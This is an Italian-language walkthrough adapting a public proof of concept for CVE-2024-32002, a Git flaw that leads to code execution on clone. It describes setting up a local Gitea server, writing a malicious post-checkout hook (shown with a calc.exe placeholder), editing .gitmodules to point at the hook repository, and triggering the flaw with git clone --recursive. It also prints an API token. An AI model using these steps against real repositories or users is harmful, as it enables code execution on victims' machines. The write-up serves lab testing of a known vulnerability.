
Adattamento di CVE-2024-32002 per l'esecuzione offline e locale
seguiamo questo post del blog ma con alcune differenze chiave https://amalmurali.me/posts/git-rce
git_rce) include un sottomodulo con un percorso appositamente creato..git/, la quale contiene un hook dannoso.⚠️ Avviso: Non eseguire questo PoC su sistemi di cui non sei proprietario o per cui non hai esplicito permesso di utilizzo. Test non autorizzati potrebbero causare conseguenze indesiderate.
dobbiamo creare un token API per gitea che si trova a http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications
i ho dato al token accesso a tutto per assicurarmi che tutto funzionasse
poi possiamo eseguire il nostro poc.sh assicurandoci di fornire le informazioni richieste come l'indirizzo IP e la porta per il server gitea, il nome utente e il token per creare i repository
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
inoltre dobbiamo modificare le righe 42-46 per contenere il payload
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
c'è un altro passaggio: dobbiamo andare al file .gitmodules dal repository main a quello hook. Sono andato manualmente al repository in gitea e ho modificato il file

e poi questo ha fatto questo
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
assicurandomi che quando sono andato in A/modules potessi vedere qualcosa del genere

poi cliccando su quel commit dovrebbe mostrare l'altro repo con il contenuto del PoC quando lo si clicca
poi possiamo prendere il nostro URL e questo dovrebbe funzionare per attivare l'exploit
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
Crediti a filip-hejsek e amalmurali47 per aver scoperto questa vulnerabilità e per aver messo a disposizione un post del blog e un repository da cui adattare